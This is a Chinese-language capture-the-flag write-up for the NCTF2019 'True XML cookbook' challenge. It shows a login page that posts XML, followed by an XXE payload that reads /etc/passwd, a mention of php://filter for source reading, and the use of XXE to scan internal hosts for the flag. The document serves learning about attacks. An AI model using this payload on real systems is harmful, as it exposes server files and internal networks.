[NCTF2019]True XML cookbook
xxe题目,不常见,感觉好像遇到这种题目都是搜一个payload直接打,不过今天看到一个好文章,可以稍微系统的学习一下,起码理解一下之前打XXE的时候遇到的问题是怎么回事
题解
查看源码可以看到一个js函数
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
直接抓包也可以看到内容是以XML格式提交的,那么抄一个payload打一下试试
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>
<username>&xxe;</username>
<password>111</password>
</user>
成功读到文件,证明可以打,这里注意一个点,就是当xxe读取文件的时候,读取的文件不允许有<>之类的标记,会导致实体替换之后影响xml文档解析,而在不同的平台上还可以支持不同的协议,这里是在PHP上运行的,所以能够用PHP支持的协议入php://filter之类的进行编码读取内容,读了一下doLogin.php没什么东西
XXE能够实现的攻击一般来说是文件读取,也可以发起内网扫描,读一下/etc/hosts,发现还真的有内网主机173.203.47.9,用http协议访问,但是没有结果。。。。搜了一下wp,结果是内网扫描,其实只要往后访问一位173.203.47.10就直接获得flag了